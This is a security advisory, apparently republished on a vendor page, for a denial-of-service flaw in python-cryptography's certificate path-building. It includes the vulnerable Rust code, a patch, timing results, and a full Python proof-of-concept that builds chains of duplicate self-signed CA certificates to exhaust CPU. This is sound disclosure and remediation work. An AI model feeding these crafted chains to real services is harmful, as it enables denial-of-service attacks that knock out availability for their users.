Summary
python-cryptography: Duplicate self-signed intermediates can cause exponential path-building
When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.
This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.
Details
The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.
fn build_chain_inner(
&self,
working_cert: &VerificationCertificate<'chain, B>,
current_depth: u8,
working_cert_extensions: &Extensions<'chain>,
name_chain: NameChain<'_, 'chain>,
budget: &mut Budget,
) -> ValidationResult<'chain, Chain<'chain, B>, B> {
if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
name_chain.evaluate_constraints(&nc.value()?, budget)?;
}
// Look in the store's root set to see if the working cert is listed.
// If it is, we've reached the end.
if self.store.contains(working_cert) {
return Ok(vec![working_cert.clone()]);
}
// Check that our current depth does not exceed our policy-configured
// max depth. We do this after the root set check, since the depth
// only measures the intermediate chain's length, not the root or leaf.
if current_depth > self.policy.max_chain_depth {
return Err(ValidationError::new(ValidationErrorKind::Other(
"chain construction exceeds max depth".into(),
)));
}
// Otherwise, we collect a list of potential issuers for this cert,
// and continue with the first that verifies.
let mut last_err: Option<ValidationError<'_, B>> = None;
for issuing_cert_candidate in self.potential_issuers(working_cert) {
// A candidate issuer is said to verify if it both
// signs for the working certificate and conforms to the
// policy.
let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
match self.policy.valid_issuer(
issuing_cert_candidate,
working_cert,
current_depth,
&issuer_extensions,
) {
Ok(_) => {
match self.build_chain_inner(
A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.
let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
for issuing_cert_candidate in self.potential_issuers(working_cert) {
. . .
Ok(_) => {
if seen_valid_issuers.contains(&issuing_cert_candidate) {
continue;
}
seen_valid_issuers.push(issuing_cert_candidate);
match self.build_chain_inner(
issuing_cert_candidate,
// NOTE(ww): According to RFC 5280, we should only
In testing, this fix removed the exponential blowup without breaking apparent correctness.
duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s, -> 4,8,rejected,0.002410
5,7,timeout>5s, -> 5,7,rejected,0.002640
6,6,timeout>5s, -> 6,6,rejected,0.002829
PoC
The following script benchmarks processing times for malicious cert chains.
import datetime
import multiprocessing
import time
import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
DNSName,
PolicyBuilder,
Store,
VerificationError,
)
NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=True,
crl_sign=True,
encipher_only=False,
decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=False,
crl_sign=False,
encipher_only=False,
decipher_only=False,
)
def name(common_name):
return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])
def base_builder(subject, issuer, public_key, serial):
return (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(public_key)
.serial_number(serial)
.not_valid_before(NOW - datetime.timedelta(days=1))
.not_valid_after(NOW + datetime.timedelta(days=30))
)
def make_ca(common_name, serial):
private_key = ec.generate_private_key(ec.SECP256R1())
subject = name(common_name)
cert = (
base_builder(subject, subject, private_key.public_key(), serial)
.add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
.add_extension(CA_KEY_USAGE, True)
.add_extension(
x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
False,
)
.sign(private_key, hashes.SHA256())
)
return private_key, cert
def make_leaf(issuer_key, issuer_cert):
private_key = ec.generate_private_key(ec.SECP256R1())
return (
base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
.add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
.add_extension(EE_KEY_USAGE, True)
.add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
.add_extension(
x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
False,
)
.add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
.sign(issuer_key, hashes.SHA256())
)
def build_material():
looping_key, looping_ca = make_ca("looping self-signed CA", 1)
_, unrelated_root = make_ca("unrelated trust anchor", 2)
leaf = make_leaf(looping_key, looping_ca)
return leaf, looping_ca, unrelated_root
def verify_case(duplicates, max_depth, queue):
leaf, looping_ca, unrelated_root = build_material()
verifier = (
PolicyBuilder()
.store(Store([unrelated_root]))
.time(NOW)
.max_chain_depth(max_depth)
.build_server_verifier(DNSName("example.com"))
)
start = time.perf_counter()
try:
verifier.verify(leaf, [looping_ca] * duplicates)
result = "accepted"
except VerificationError:
result = "rejected"
queue.put((result, time.perf_counter() - start))
def run_case(duplicates, max_depth):
queue = multiprocessing.Queue()
process = multiprocessing.Process(
target=verify_case,
args=(duplicates, max_depth, queue),
)
process.start()
process.join(TIMEOUT)
if process.is_alive():
process.terminate()
process.join()
print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
return
result, elapsed = queue.get()
print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")
if __name__ == "__main__":
print("duplicates,max_depth,result,seconds")
for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
run_case(*case)
Impact
This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-69249? CVE-2026-69249 is a high-severity uncontrolled resource consumption vulnerability in cryptography (pip), affecting versions <= 48.0.0. It is fixed in 49.0.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- Which versions of cryptography are affected by CVE-2026-69249? cryptography (pip) versions <= 48.0.0 is affected.
- Is there a fix for CVE-2026-69249? Yes. CVE-2026-69249 is fixed in 49.0.0. Upgrade to this version or later.
- Is CVE-2026-69249 exploitable, and should I be worried? Whether CVE-2026-69249 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-69249 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-69249? Upgrade
cryptographyto 49.0.0 or later.